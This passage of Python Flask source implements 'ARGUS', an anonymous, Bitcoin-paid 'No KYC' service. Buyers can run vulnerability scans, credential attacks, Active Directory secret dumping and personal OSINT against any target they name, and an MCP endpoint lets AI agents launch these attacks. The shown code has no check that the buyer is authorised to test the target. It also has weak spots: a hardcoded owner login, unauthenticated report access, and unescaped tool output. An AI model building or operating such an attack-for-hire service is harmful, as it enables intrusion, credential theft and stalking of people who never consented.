}else{i++;ch=0;setTimeout(type,220);}
|
|
}
|
|
type();
|
|
})();
|
|
</script>
|
|
"""
|
|
|
|
# Full arsenal by category (rendered on /capabilities)
|
|
ARSENAL = [
|
|
("WEB RECON · KALI", [
|
|
("nuclei", "Fast CVE / misconfiguration scanner — 8,000+ templates"),
|
|
("subfinder", "Passive subdomain discovery across 30+ sources"),
|
|
("httpx", "Live HTTP probing of discovered hosts"),
|
|
("katana", "Crawler that maps a site's attack surface"),
|
|
("naabu", "Fast port scanner for target discovery"),
|
|
("ffuf", "High-speed directory & parameter fuzzer"),
|
|
("gobuster", "Directory / DNS / VHOST brute-forcer"),
|
|
("feroxbuster", "Recursive content discovery"),
|
|
("dirsearch", "Web path scanner with JSON output"),
|
|
("arjun", "HTTP parameter discovery"),
|
|
("nmap", "Port + service + NSE script enumeration"),
|
|
("masscan", "Internet-scale port scanning"),
|
|
("dnsx", "Fast DNS toolkit"),
|
|
("findomain", "Fast subdomain enumerator"),
|
|
("amass", "In-depth attack-surface mapping"),
|
|
("rustscan", "Lightning-fast port scanner"),
|
|
]),
|
|
("EXPLOITATION · KALI", [
|
|
("sqlmap", "Automatic SQL injection detection & takeover"),
|
|
("wpscan", "WordPress vulnerability scanner"),
|
|
("nikto", "Web server vulnerability scanner"),
|
|
("commix", "Command injection exploiter"),
|
|
("wfuzz", "Web application fuzzer"),
|
|
("dirb", "Web content scanner"),
|
|
("metasploit", "Full exploitation framework (msfconsole)"),
|
|
("searchsploit", "Exploit-DB offline search"),
|
|
("burpsuite", "Web app pentest proxy"),
|
|
]),
|
|
("CREDENTIALS · KALI", [
|
|
("crackmapexec", "Swiss-army SMB/WinRM/MSSQL post-exploitation"),
|
|
("enum4linux", "SMB / Samba enumeration"),
|
|
("smbclient", "SMB share access & enumeration"),
|
|
("hydra", "Fast network logon cracker"),
|
|
("john", "Password hash cracker"),
|
|
("hashcat", "GPU-accelerated hash cracking"),
|
|
("evil-winrm", "WinRM shell for lateral movement"),
|
|
("responder", "LLMNR/NBT-NS/mDNS poisoning"),
|
|
("impacket", "Python SMB/AD attack library"),
|
|
("bloodhound", "AD attack-path visualization"),
|
|
]),
|
|
("AD / WINDOWS · COMMANDO", [
|
|
("mimikatz", "Credential extraction from memory / SAM / LSA"),
|
|
("impacket-secretsdump", "Remote SAM/LSA/NTDS secret dump"),
|
|
("kerberoast", "GetUserSPNs — service-ticket hash extraction"),
|
|
("asreproast", "GetNPUsers — AS-REP hash extraction"),
|
|
("GetLAPSPassword", "Read LAPS-managed local admin passwords"),
|
|
("wmiexec / psexec / smbexec", "Remote command execution over WMI/SMB"),
|
|
("samrdump / lookupsid", "SAMR user & SID enumeration"),
|
|
("SharpHound", "BloodHound data collector"),
|
|
("PowerView", "AD enumeration (users/groups/sessions/GPO)"),
|
|
("winPEAS", "Local privilege-escalation enumeration"),
|
|
("hashcat", "Crack NTLM / Kerberoast / AS-REP hashes"),
|
|
("CrackMapExec", "SMB/LDAP/WinRM network attacks"),
|
|
]),
|
|
("OSINT · TRACE LABS", [
|
|
("sherlock", "Username footprint across 300+ social networks"),
|
|
("theHarvester", "Email + subdomain harvesting"),
|
|
("spiderfoot", "Automated OSINT recon framework"),
|
|
("holehe", "Email-registered-service enumeration"),
|
|
("maigret", "Deep username → profile enumeration"),
|
|
("instaloader", "Instagram profile + post intelligence"),
|
|
("toutatis", "Phone-number OSINT lookups"),
|
|
("shodan", "Internet device search engine"),
|
|
]),
|
|
("AGENT", [
|
|
("qwen3.8fast", "Interprets raw findings into a professional report"),
|
|
]),
|
|
]
|
|
|
|
def _nav(active=""):
|
|
return f"""<nav class=wrap><div class=logo><span class=eye></span>ARG<span>US</span></div>
|
|
<div><a href=/>Watch</a><a href=/capabilities>Arsenal</a><a href=/docs>API</a><a class=cta href=/#scan>Open an eye</a></div></nav>"""
|
|
|
|
def capabilities_page():
|
|
blocks = ""
|
|
for cat, tools in ARSENAL:
|
|
tools_html = "".join(f'<div class=tool><b>{n}</b><span>{d}</span></div>' for n, d in tools)
|
|
blocks += f'<div class=cat><span class=tag>arsenal</span>{cat}</div><div class=tools>{tools_html}</div>'
|
|
return f"""<!doctype html><html><head><meta charset=utf-8>
|
|
<meta name=viewport content="width=device-width,initial-scale=1">
|
|
<title>ARGUS — The Arsenal</title><style>{STYLE}</style></head><body>
|
|
<div id=bg></div><div class=content>
|
|
{_nav()}
|
|
<section class=section><div class=wrap>
|
|
<h2>The arsenal</h2><p class=sub>Every weapon ARGUS turns on your target — real binaries, real results, across three attack VMs. <span class=stamp>classified</span></p>
|
|
{blocks}
|
|
</div></section>
|
|
<footer><div class=wrap>Bitcoin only · No KYC · <a href=/>← return to the watch</a></div></footer>
|
|
</div>{BG_JS}</body></html>"""
|
|
|
|
def landing():
|
|
cards = ""
|
|
for key, name, sats, desc in [
|
|
("web-vuln", "Vulnerability Scan", 4000, "nuclei + ffuf + nmap + sqlmap + wpscan against your target. Real CVE checks."),
|
|
("osint", "OSINT Investigation", 2500, "Usernames, emails, domains — a deep-recon pass across 24 tools."),
|
|
("ad-audit", "AD / Windows Audit", 5000, "impacket secretsdump + kerberoast + asreproast + winPEAS against an Active Directory target."),
|
|
("creds", "Credential Attack", 3500, "crackmapexec + enum4linux + hydra SMB credential testing."),
|
|
("monitor", "Continuous Monitoring", 15000, "The agent re-scans on schedule and alerts on change.")]:
|
|
cards += f"""<div class=card><h3>{name}</h3><p>{desc}</p>
|
|
<div class=sats>{sats:,} <small>sats</small></div></div>"""
|
|
# MCP subscription card
|
|
cards += f"""<div class=card style="border-color:var(--acc2)"><h3>Red-Team MCP Endpoint <span style=color:var(--acc2)>◆</span></h3>
|
|
<p>Subscribe weekly and plug ARGUS straight into your AI agent as a Model Context Protocol server — list tools, call scans, read reports, all over /mcp.</p>
|
|
<div class=sats>20,000 <small>sats / wk</small></div></div>"""
|
|
return f"""<!doctype html><html><head><meta charset=utf-8>
|
|
<meta name=viewport content="width=device-width,initial-scale=1">
|
|
<title>ARGUS — The Hundred-Eyed Watchman</title>
|
|
<style>{STYLE}</style></head><body>
|
|
<div id=bg></div>
|
|
<div class=content>
|
|
{_nav()}
|
|
|
|
<section class=hero><div class=wrap>
|
|
<div class=eyebrow>ARGUS PANOPTES <span class=blink>▋</span> the hundred-eyed watchman</div>
|
|
<h1>Every eye open.<br><span>Nothing escapes the gaze.</span></h1>
|
|
<p>ARGUS is an autonomous offensive security agent. It turns a hundred real attack tools across three war machines — Kali, Commando, and Trace Labs — on whatever you point it at, then an AI cortex reads every result back as a report you can act on. Settled in Bitcoin.</p>
|
|
<div class=terminal><div class=bar><i class=r></i><i class=y></i><i class=g></i><span>argus — watchtower session</span></div>
|
|
<div class=body id=term></div></div>
|
|
<div class=actions><a class="btn primary" href=#scan>Run a scan</a><a class="btn ghost" href=/docs>Read the API</a></div>
|
|
</div></section>
|
|
|
|
<section class=section><div class=wrap>
|
|
<h2>What ARGUS watches</h2><p class=sub>Five services, plus a paid MCP endpoint for your agents.</p>
|
|
<div class=grid>{cards}</div>
|
|
</div></section>
|
|
|
|
<section id=scan><div class=wrap><div class=panel>
|
|
<h3>Open an eye</h3><p style=color:var(--dim);font-size:.92rem>Pick a service, name a target, pay in sats. Results appear live in your browser.</p>
|
|
<form method=POST action=/submit>
|
|
<label>Service</label>
|
|
<div class=radios>
|
|
<label><input type=radio name=kind value=web-vuln checked onchange=showOpt()> Vulnerability Scan — 4,000 sats</label>
|
|
<label><input type=radio name=kind value=osint onchange=showOpt()> OSINT Investigation — 2,500 sats</label>
|
|
<label><input type=radio name=kind value=ad-audit onchange=showOpt()> AD / Windows Audit — 5,000 sats</label>
|
|
<label><input type=radio name=kind value=creds onchange=showOpt()> Credential Attack — 3,500 sats</label>
|
|
<label><input type=radio name=kind value=monitor onchange=showOpt()> Continuous Monitoring — 15,000 sats/mo</label>
|
|
</div>
|
|
<label>Target (domain, IP, username, or email)</label>
|
|
<input type=text name=target placeholder="example.com" required>
|
|
<div id=adfields class=opt>
|
|
<label>Username <small style=color:var(--dim)>(optional, for authenticated AD/cred attacks)</small></label>
|
|
<input type=text name=username placeholder="DOMAIN\\user">
|
|
<label>Password <small style=color:var(--dim)>(optional)</small></label>
|
|
<input type=password name=password placeholder="••••••••">
|
|
<label>Domain <small style=color:var(--dim)>(optional)</small></label>
|
|
<input type=text name=domain placeholder="corp.local">
|
|
</div>
|
|
<label>Email</label>
|
|
<input type=email name=email placeholder="you@example.com" required>
|
|
<div class=actions style=margin-top:24px><button class="btn primary" type=submit>Continue to payment →</button></div>
|
|
</form>
|
|
</div></div></section>
|
|
|
|
<section id=mcp><div class=wrap><div class=panel>
|
|
<h3>Subscribe for MCP access</h3><p style=color:var(--dim);font-size:.92rem>Pay weekly in Bitcoin to expose ARGUS as a Model Context Protocol endpoint at <code style=color:var(--acc)>/mcp</code> — your AI agents list tools and call scans directly.</p>
|
|
<form method=POST action=/subscribe>
|
|
<label>Plan</label>
|
|
<div class=radios>
|
|
<label><input type=radio name=plan value=mcp-weekly checked> Weekly — 20,000 sats (7 days)</label>
|
|
<label><input type=radio name=plan value=mcp-monthly> Monthly — 60,000 sats (30 days)</label>
|
|
</div>
|
|
<label>Your API key (or blank to mint one)</label>
|
|
<input type=text name=api_key placeholder="argus_... (leave blank to create)">
|
|
<label>Email</label>
|
|
<input type=email name=email placeholder="you@example.com" required>
|
|
<div class=actions style=margin-top:24px><button class="btn primary" type=submit>Subscribe →</button></div>
|
|
</form>
|
|
</div></div></section>
|
|
|
|
<footer><div class=wrap>
|
|
Pay ARGUS directly:<br><span class=addr>{STORE_ADDR}</span><br><br>
|
|
Bitcoin only · No KYC · No tracking · <a href=/docs>API docs</a> · <a href=https://buymeacoffee.com/r26xrthzttg>Support the build</a><br>
|
|
indianaholmes@thetempleofdoom.com
|
|
</div></footer>
|
|
</div>
|
|
{BG_JS}
|
|
{TERMINAL_JS}
|
|
<script>
|
|
function showOpt(){{
|
|
var k=document.querySelector('input[name=kind]:checked').value;
|
|
document.getElementById('adfields').className='opt'+(k==='ad-audit'||k==='creds'?' show':'');
|
|
}}
|
|
</script></body></html>"""
|
|
|
|
REPORT = """<!doctype html><html><head><meta charset=utf-8>
|
|
<meta name=viewport content="width=device-width,initial-scale=1">
|
|
<title>ARGUS — Live Report</title><style>{STYLE}</style></head><body>
|
|
<div id=bg></div><div class=content>
|
|
{_nav()}
|
|
<div class=wrap style=padding-top:50px>
|
|
<h1 style=font-size:2rem>Scan Report</h1>
|
|
<p style=color:var(--dim);margin-top:8px><b>Target:</b> {{job.target}} · <b>Type:</b> {{job.kind}} · <span class="status {{job.status}}">{{job.status}}</span></p>
|
|
<div id=body>
|
|
{% if job.status == 'unpaid' %}
|
|
<p style=margin-top:20px>Awaiting payment. <a href="{{inv}}" style=color:var(--acc)>Complete payment</a>, then this page updates automatically.</p>
|
|
{% elif job.status in ('running','pending') %}
|
|
<p style=margin-top:20px>The agent is hunting. <span id=spin>▋</span></p>
|
|
{% elif job.status == 'done' %}
|
|
<div class=report>{{report|safe}}</div>
|
|
<details style=margin-top:16px><summary style=cursor:pointer;color:var(--dim)>Raw tool output</summary><pre>{{raw}}</pre></details>
|
|
{% elif job.status == 'failed' %}
|
|
<div class=report><p style=color:#f87171>{{report}}</p></div>
|
|
{% endif %}
|
|
</div>
|
|
</div>
|
|
</div>
|
|
{BG_JS}
|
|
<script>
|
|
function poll(){fetch('/api/job/{{job.id}}').then(r=>r.json()).then(d=>{
|
|
if(d.status==='done'||d.status==='failed'){location.reload();}
|
|
else{var s=document.getElementById('spin');if(s)s.textContent=(s.textContent==='▋'?'▖':s.textContent==='▖'?'▝':'▋');setTimeout(poll,3000);}
|
|
}).catch(()=>setTimeout(poll,4000));}
|
|
if({{'1' if job.status in ('running','pending') else '0'}}){setTimeout(poll,2500);}
|
|
</script>
|
|
</body></html>"""
|
|
|
|
# ─── API DOCS (code snippets kept OUTSIDE f-strings to avoid quote clash) ────
|
|
SNIP_KEYS = """POST /api/keys HTTP/1.1
|
|
Content-Type: application/json
|
|
|
|
{ "email": "you@example.com", "label": "my first agent" }"""
|
|
SNIP_KEYS_RES = """200 OK
|
|
{ "api_key": "argus_9f3a...", "email": "you@example.com" }"""
|
|
SNIP_SCAN = """POST /api/scan HTTP/1.1
|
|
Content-Type: application/json
|
|
X-API-Key: argus_9f3a...
|
|
|
|
{
|
|
"kind": "web-vuln",
|
|
"target": "example.com",
|
|
"email": "you@example.com"
|
|
}"""
|
|
SNIP_SCAN_RES = """200 OK
|
|
{
|
|
"job_id": "9f3a2b1c0d4e",
|
|
"status": "unpaid",
|
|
"sats": 4000,
|
|
"checkout": "https://btcpay.thetempleofdoom.com/i/...",
|
|
"report_url": "https://argus.thetempleofdoom.com/report/9f3a2b1c0d4e",
|
|
"poll": "/api/job/9f3a2b1c0d4e"
|
|
}"""
|
|
SNIP_JOB_CURL = """curl -s https://argus.thetempleofdoom.com/api/job/9f3a2b1c0d4e | jq ."""
|
|
SNIP_JOB_RES = """200 OK
|
|
{ "status": "done", "report": "# Findings\\n...", "raw": "{...tool output...}" }"""
|
|
SNIP_JOBS_CURL = """curl -s "https://argus.thetempleofdoom.com/api/jobs?key=argus_9f3a..." | jq ."""
|
|
SNIP_TOOLS_CURL = """curl -s https://argus.thetempleofdoom.com/api/tools | jq ."""
|
|
SNIP_SUB = """POST /api/subscribe HTTP/1.1
|
|
Content-Type: application/json
|
|
|
|
{ "email": "you@example.com", "plan": "mcp-weekly" }"""
|
|
SNIP_SUB_RES = """200 OK
|
|
{
|
|
"api_key": "argus_9f3a...",
|
|
"plan": "mcp-weekly",
|
|
"sats": 20000,
|
|
"checkout": "https://btcpay.thetempleofdoom.com/i/..."
|
|
}"""
|
|
SNIP_MCP_INIT = """POST /mcp HTTP/1.1
|
|
Content-Type: application/json
|
|
X-API-Key: argus_9f3a...
|
|
|
|
{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
|
|
"params": { "protocolVersion": "2024-11-05", "capabilities": {},
|
|
"clientInfo": { "name": "my-agent", "version": "1.0" } } }"""
|
|
SNIP_MCP_TOOLS = """POST /mcp HTTP/1.1
|
|
Content-Type: application/json
|
|
X-API-Key: argus_9f3a...
|
|
|
|
{ "jsonrpc": "2.0", "id": 2, "method": "tools/list" }"""
|
|
SNIP_MCP_CALL = """POST /mcp HTTP/1.1
|
|
Content-Type: application/json
|
|
X-API-Key: argus_9f3a...
|
|
|
|
{ "jsonrpc": "2.0", "id": 3, "method": "tools/call",
|
|
"params": { "name": "argus_scan",
|
|
"arguments": { "kind": "web-vuln", "target": "example.com", "email": "you@example.com" } } }"""
|
|
|
|
def _code(lang, code):
|
|
import html
|
|
return '<div class=code-block><span class=lang>' + lang + '</span><pre>' + html.escape(code) + '</pre></div>'
|
|
|
|
def _tbl(rows):
|
|
head = "".join("<th>" + h + "</th>" for h in rows[0])
|
|
body = "".join("<tr>" + "".join("<td>" + c + "</td>" for c in r) + "</tr>" for r in rows[1:])
|
|
return '<table class=tbl><tr>' + head + '</tr>' + body + '</table>'
|
|
|
|
def docs_page():
|
|
parts = []
|
|
parts.append(f"""<!doctype html><html><head><meta charset=utf-8>
|
|
<meta name=viewport content="width=device-width,initial-scale=1">
|
|
<title>ARGUS — API Reference</title><style>{STYLE}</style></head><body>
|
|
<div id=bg></div><div class=content>
|
|
{_nav()}
|
|
|
|
<div class=wrap><div class=docs>
|
|
<h1 style=font-size:2.4rem;margin-top:30px>API Reference</h1>
|
|
<p style=color:var(--dim);max-width:680px;margin:12px 0 0>ARGUS is <b>agent-native</b> — built to be driven by code, not clicks. Mint an API key, submit scans as JSON, poll for results. Machine-readable OpenAPI at <a href=/openapi.json style=color:var(--acc)>/openapi.json</a>.</p>
|
|
|
|
<div class=auth-note><b>Base URL:</b> <code>https://argus.thetempleofdoom.com</code> · <b>Auth:</b> pass your key as <code>X-API-Key: <key></code>. Keys are free; scans are settled in Bitcoin (sats). MCP access requires a paid subscription.</div>
|
|
|
|
<h3>Authentication</h3>
|
|
<div class=endpoint>
|
|
<div class=head><span class="method m-POST">POST</span><code class=path>/api/keys</code></div>
|
|
<div class=desc><b>Mint an API key.</b> Identifies you so the watchman can tie scans to a caller. No cost.</div>
|
|
<div class=desc style=padding-top:0>""")
|
|
parts.append(_code("json", SNIP_KEYS))
|
|
parts.append(_tbl([
|
|
("Field", "Type", "Notes"),
|
|
("<code>email</code>", "string", "required — where results are delivered"),
|
|
("<code>label</code>", "string", "optional — human name for this key"),
|
|
]))
|
|
parts.append(_code("response", SNIP_KEYS_RES))
|
|
parts.append("""</div>
|
|
</div>
|
|
|
|
<h3>Launching scans</h3>
|
|
<div class=endpoint>
|
|
<div class=head><span class="method m-POST">POST</span><code class=path>/api/scan</code></div>
|
|
<div class=desc><b>Submit a scan programmatically.</b> Returns a job id and a Bitcoin invoice. The scan fires the moment the invoice settles.</div>
|
|
<div class=desc style=padding-top:0>""")
|
|
parts.append(_code("json", SNIP_SCAN))
|
|
parts.append(_tbl([
|
|
("Field", "Type", "Notes"),
|
|
("<code>kind</code>", "string", "web-vuln · osint · ad-audit · creds · monitor"),
|
|
("<code>target</code>", "string", "domain, IP, username, or email"),
|
|
("<code>email</code>", "string", "required — result delivery"),
|
|
("<code>username</code>", "string", "optional — for ad-audit / creds"),
|
|
("<code>password</code>", "string", "optional — for ad-audit / creds"),
|
|
("<code>domain</code>", "string", "optional — AD domain"),
|
|
]))
|
|
parts.append(_code("response", SNIP_SCAN_RES))
|
|
parts.append("""</div>
|
|
</div>
|
|
|
|
<h3>Reading results</h3>
|
|
<div class=endpoint>
|
|
<div class=head><span class="method m-GET">GET</span><code class=path>/api/job/<job_id></code></div>
|
|
<div class=desc><b>Poll a job's status.</b> The watchman works asynchronously — call this until <code>status</code> is <code>done</code> or <code>failed</code>.</div>
|
|
<div class=desc style=padding-top:0>""")
|
|
parts.append(_code("bash", SNIP_JOB_CURL))
|
|
parts.append(_code("response", SNIP_JOB_RES))
|
|
parts.append(_tbl([
|
|
("status", "meaning"),
|
|
("<code>unpaid</code>", "invoice not yet settled"),
|
|
("<code>running</code>", "tools are executing"),
|
|
("<code>done</code>", "report ready"),
|
|
("<code>failed</code>", "scan errored — report holds the reason"),
|
|
]))
|
|
parts.append("""</div>
|
|
</div>
|
|
|
|
<div class=endpoint>
|
|
<div class=head><span class="method m-GET">GET</span><code class=path>/api/jobs?key=<key></code></div>
|
|
<div class=desc><b>List your scans.</b> Every job tied to a given API key.</div>
|
|
<div class=desc style=padding-top:0>""")
|
|
parts.append(_code("bash", SNIP_JOBS_CURL))
|
|
parts.append("""</div>
|
|
</div>
|
|
|
|
<h3>MCP subscription (paid)</h3>
|
|
<div class=endpoint>
|
|
<div class=head><span class="method m-POST">POST</span><code class=path>/api/subscribe</code></div>
|
|
<div class=desc><b>Subscribe for MCP access.</b> Pay a weekly (or monthly) Bitcoin invoice; on settlement your key is authorized to drive the /mcp endpoint until expiry. No KYC.</div>
|
|
<div class=desc style=padding-top:0>""")
|
|
parts.append(_code("json", SNIP_SUB))
|
|
parts.append(_tbl([
|
|
("Field", "Type", "Notes"),
|
|
("<code>email</code>", "string", "required"),
|
|
("<code>plan</code>", "string", "mcp-weekly (20k sats/7d) · mcp-monthly (60k sats/30d)"),
|
|
("<code>api_key</code>", "string", "optional — omit to mint a new key"),
|
|
]))
|
|
parts.append(_code("response", SNIP_SUB_RES))
|
|
parts.append("""</div>
|
|
</div>
|
|
|
|
<div class=endpoint>
|
|
<div class=head><span class="method m-POST">POST</span><code class=path>/mcp</code></div>
|
|
<div class=desc><b>The red-team MCP endpoint.</b> A Model Context Protocol server over HTTP. Requires an active subscription (X-API-Key). Speaks JSON-RPC 2.0 — <code>initialize</code>, <code>tools/list</code>, <code>tools/call</code>.</div>
|
|
<div class=desc style=padding-top:0>""")
|
|
parts.append(_code("json", SNIP_MCP_INIT))
|
|
parts.append(_code("json", SNIP_MCP_TOOLS))
|
|
parts.append(_code("json", SNIP_MCP_CALL))
|
|
parts.append(_tbl([
|
|
("tool", "purpose"),
|
|
("<code>argus_arsenal</code>", "list every service, tool, and price"),
|
|
("<code>argus_scan</code>", "launch a scan — returns job id + BTC invoice"),
|
|
("<code>argus_status</code>", "poll a job's status / report / raw output"),
|
|
("<code>argus_jobs</code>", "list jobs tied to your key"),
|
|
]))
|
|
parts.append("""</div>
|
|
</div>
|
|
|
|
<h3>Discovering the arsenal</h3>
|
|
<div class=endpoint>
|
|
<div class=head><span class="method m-GET">GET</span><code class=path>/api/tools</code></div>
|
|
<div class=desc><b>The full armory.</b> Every tool and service ARGUS can run, as JSON — for agents to introspect before choosing a scan.</div>
|
|
<div class=desc style=padding-top:0>""")
|
|
parts.append(_code("bash", SNIP_TOOLS_CURL))
|
|
parts.append("""</div>
|
|
</div>
|
|
|
|
<div class=endpoint>
|
|
<div class=head><span class="method m-GET">GET</span><code class=path>/openapi.json</code></div>
|
|
<div class=desc><b>Machine-readable OpenAPI 3.0</b> spec of this entire surface. Feed it to any client generator.</div>
|
|
</div>
|
|
|
|
<div class=endpoint>
|
|
<div class=head><span class="method m-POST">POST</span><code class=path>/webhook/btcpay</code></div>
|
|
<div class=desc><b>Internal — BTCPay settlement webhook.</b> Do not call directly; ARGUS uses it to fire scans and activate subscriptions on payment.</div>
|
|
</div>
|
|
|
|
<footer style=margin-top:60px><div class=wrap>Bitcoin only · No KYC · <a href=/>return to the watch</a></div></footer>
|
|
</div></div>
|
|
{BG_JS}
|
|
</body></html>""")
|
|
return "".join(parts)
|
|
|
|
# ─── OPENAPI SPEC ────────────────────────────────────────────────────────────
|
|
OPENAPI = {
|
|
"openapi": "3.0.0",
|
|
"info": {"title": "ARGUS — Autonomous Security Agent", "version": "4.0.0",
|
|
"description": "Rentable AI offensive-security agent. Bitcoin-settled, agent-native. MCP endpoint for subscribers."},
|
|
"servers": [{"url": "https://argus.thetempleofdoom.com"}],
|
|
"paths": {
|
|
"/api/keys": {"post": {
|
|
"summary": "Mint an API key",
|
|
"requestBody": {"required": True, "content": {"application/json": {"schema": {
|
|
"type": "object", "required": ["email"],
|
|
"properties": {"email": {"type": "string"}, "label": {"type": "string"}}}}}},
|
|
"responses": {"200": {"description": "api_key issued"}},
|
|
}},
|
|
"/api/login": {"post": {
|
|
"summary": "Premium/owner login (permanent subscription key)",
|
|
"requestBody": {"required": True, "content": {"application/json": {"schema": {
|
|
"type": "object", "required": ["username", "password"],
|
|
"properties": {"username": {"type": "string"}, "password": {"type": "string"}}}}}},
|
|
"responses": {"200": {"description": "premium api_key"}, "401": {"description": "invalid credentials"}},
|
|
}},
|
|
"/api/scan": {"post": {
|
|
"summary": "Submit a scan (returns BTC invoice)",
|
|
"parameters": [{"name": "X-API-Key", "in": "header", "schema": {"type": "string"}}],
|
|
"requestBody": {"required": True, "content": {"application/json": {"schema": {
|
|
"type": "object", "required": ["kind", "target", "email"],
|
|
"properties": {
|
|
"kind": {"type": "string", "enum": list(PRICES_SATS.keys())},
|
|
"target": {"type": "string"}, "email": {"type": "string"},
|
|
"username": {"type": "string"}, "password": {"type": "string"}, "domain": {"type": "string"}}}}}},
|
|
"responses": {"200": {"description": "job_id + invoice + checkout link"}},
|
|
}},
|
|
"/api/job/{job_id}": {"get": {
|
|
"summary": "Poll job status",
|
|
"parameters": [{"name": "job_id", "in": "path", "required": True, "schema": {"type": "string"}}],
|
|
"responses": {"200": {"description": "status, report, raw"}},
|
|
}},
|
|
"/api/jobs": {"get": {
|
|
"summary": "List jobs for a key",
|
|
"parameters": [{"name": "key", "in": "query", "schema": {"type": "string"}}],
|
|
"responses": {"200": {"description": "array of jobs"}},
|
|
}},
|
|
"/api/subscribe": {"post": {
|
|
"summary": "Subscribe for MCP access (BTC invoice)",
|
|
"requestBody": {"required": True, "content": {"application/json": {"schema": {
|
|
"type": "object", "required": ["email", "plan"],
|
|
"properties": {"email": {"type": "string"},
|
|
"plan": {"type": "string", "enum": list(MCP_PLANS.keys())},
|
|
"api_key": {"type": "string"}}}}}},
|
|
"responses": {"200": {"description": "api_key + invoice + checkout link"}},
|
|
}},
|
|
"/api/tools": {"get": {"summary": "Full arsenal inventory", "responses": {"200": {"description": "services + tools"}}}},
|
|
},
|
|
}
|
|
|
|
# ─── MCP TOOL DEFINITIONS ────────────────────────────────────────────────────
|
|
MCP_TOOLS = [
|
|
{"name": "argus_arsenal", "description": "List every ARGUS service, tool, and price (sats). Use to introspect before launching a scan.",
|
|
"inputSchema": {"type": "object", "properties": {}, "required": []}},
|
|
{"name": "argus_scan", "description": "Launch an offensive security scan. Returns a job id and a Bitcoin invoice; the scan fires once paid. kind: web-vuln | osint | ad-audit | creds | monitor.",
|
|
"inputSchema": {"type": "object", "required": ["kind", "target", "email"],
|
|
"properties": {"kind": {"type": "string", "enum": list(PRICES_SATS.keys())},
|
|
"target": {"type": "string"},
|
|
"email": {"type": "string"},
|
|
"username": {"type": "string"},
|
|
"password": {"type": "string"},
|
|
"domain": {"type": "string"}}}},
|
|
{"name": "argus_status", "description": "Poll a scan job by id — returns status, report, and raw tool output.",
|
|
"inputSchema": {"type": "object", "required": ["job_id"],
|
|
"properties": {"job_id": {"type": "string"}}}},
|
|
{"name": "argus_jobs", "description": "List recent scan jobs tied to the calling API key.",
|
|
"inputSchema": {"type": "object", "properties": {}, "required": []}},
|
|
]
|
|
|
|
# ─── FLASK ───────────────────────────────────────────────────────────────────
|
|
app = Flask(__name__)
|
|
app.secret_key = SECRET
|
|
|
|
@app.route("/")
|
|
def index(): return render_template_string(landing())
|
|
|
|
@app.route("/capabilities")
|
|
def capabilities(): return render_template_string(capabilities_page())
|
|
|
|
@app.route("/docs")
|
|
def docs(): return render_template_string(docs_page())
|
|
|
|
@app.route("/openapi.json")
|
|
def openapi(): return jsonify(OPENAPI)
|
|
|
|
@app.route("/report/<job_id>")
|
|
def report(job_id):
|
|
db = get_db()
|
|
job = db.execute("SELECT * FROM jobs WHERE id=?", (job_id,)).fetchone()
|
|
if not job: return "Not found", 404
|
|
inv = f"{BTCPAY_PUBLIC}/i/{job['invoice_id']}" if job.get("invoice_id") else "#"
|
|
return render_template_string(REPORT, job=job, inv=inv, raw=job.get("raw") or "",
|
|
report=job.get("report") or "")
|
|
|
|
@app.route("/api/job/<job_id>")
|
|
def job_status(job_id):
|
|
db = get_db()
|
|
job = db.execute("SELECT id,status,report,raw FROM jobs WHERE id=?", (job_id,)).fetchone()
|
|
if not job: return jsonify({"error": "not found"}), 404
|
|
return jsonify({"status": job["status"], "report": job["report"], "raw": job["raw"]})
|
|
|
|
@app.route("/api/jobs")
|
|
def job_list():
|
|
key = request.args.get("key", "")
|
|
db = get_db()
|
|
if not key_valid(key):
|
|
return jsonify({"error": "valid API key required (?key=...)"}), 401
|
|
rows = db.execute("""SELECT j.id,j.kind,j.target,j.status,j.created_at
|
|
FROM jobs j JOIN api_keys k ON k.email = j.email
|
|
WHERE k.key=? ORDER BY j.created_at DESC LIMIT 50""", (key,)).fetchall()
|
|
return jsonify([dict(r) for r in rows])
|
|
|
|
@app.route("/api/tools")
|
|
def api_tools():
|
|
"""Programmatic inventory of the full ARGUS arsenal (for agents)."""
|
|
out = {}
|
|
for cat, tools in ARSENAL:
|
|
out[cat] = [{"name": n, "desc": d} for n, d in tools]
|
|
return jsonify({"services": list(PRICES_SATS.keys()), "prices_sats": PRICES_SATS,
|
|
"mcp_plans": {k: {"sats": v["sats"], "label": v["label"]} for k, v in MCP_PLANS.items()},
|
|
"arsenal": out})
|
|
|
|
@app.route("/api/keys", methods=["POST"])
|
|
def api_keys():
|
|
data = request.get_json(silent=True) or request.form
|
|
email = (data.get("email") or "").strip()
|
|
label = (data.get("label") or "").strip()
|
|
if not email or "@" not in email:
|
|
return jsonify({"error": "valid email required"}), 400
|
|
key = mint_key(email, label)
|
|
return jsonify({"api_key": key, "email": email})
|
|
|
|
@app.route("/api/login", methods=["POST"])
|
|
def api_login():
|
|
"""Premium/owner login — returns an admin key with a permanent subscription
|
|
so the owner drives the full API + /mcp without paying."""
|
|
data = request.get_json(silent=True) or request.form
|
|
u = (data.get("username") or data.get("email") or "").strip()
|
|
p = (data.get("password") or "").strip()
|
|
if u != ADMIN_USER or p != ADMIN_PASS:
|
|
return jsonify({"error": "invalid credentials"}), 401
|
|
db = get_db()
|
|
# reuse a stable admin key if one already has a permanent sub
|
|
row = db.execute("""SELECT s.key FROM subscriptions s
|
|
WHERE s.plan='premium' AND s.expires_at >= '2099-01-01T00:00:00+00:00'
|
|
LIMIT 1""").fetchone()
|
|
if row:
|
|
key = row["key"]
|
|
else:
|
|
key = "argus_admin_" + uuid.uuid4().hex
|
|
db.execute("INSERT OR IGNORE INTO api_keys (key,email,label) VALUES (?,?,?)",
|
|
(key, "drjones@thetempleofdoom.com", "premium admin"))
|
|
db.execute("""INSERT INTO subscriptions (key,email,plan,expires_at) VALUES (?,?,?,?)
|
|
ON CONFLICT(key) DO UPDATE SET plan='premium', expires_at=excluded.expires_at""",
|
|
(key, "drjones@thetempleofdoom.com", "premium", "2099-01-01T00:00:00+00:00"))
|
|
db.commit()
|
|
return jsonify({"api_key": key, "premium": True, "plan": "premium",
|
|
"expires_at": "2099-01-01T00:00:00+00:00",
|
|
"mcp_endpoint": f"{PUBLIC_BASE}/mcp"})
|
|
|
|
@app.route("/api/scan", methods=["POST"])
|
|
def api_scan():
|
|
data = request.get_json(silent=True) or request.form
|
|
key = request.headers.get("X-API-Key", "") or data.get("api_key", "")
|
|
if not key_valid(key):
|
|
return jsonify({"error": "valid API key required (X-API-Key header)"}), 401
|
|
kind = data.get("kind", "web-vuln")
|
|
target = (data.get("target") or "").strip()
|
|
email = (data.get("email") or "").strip()
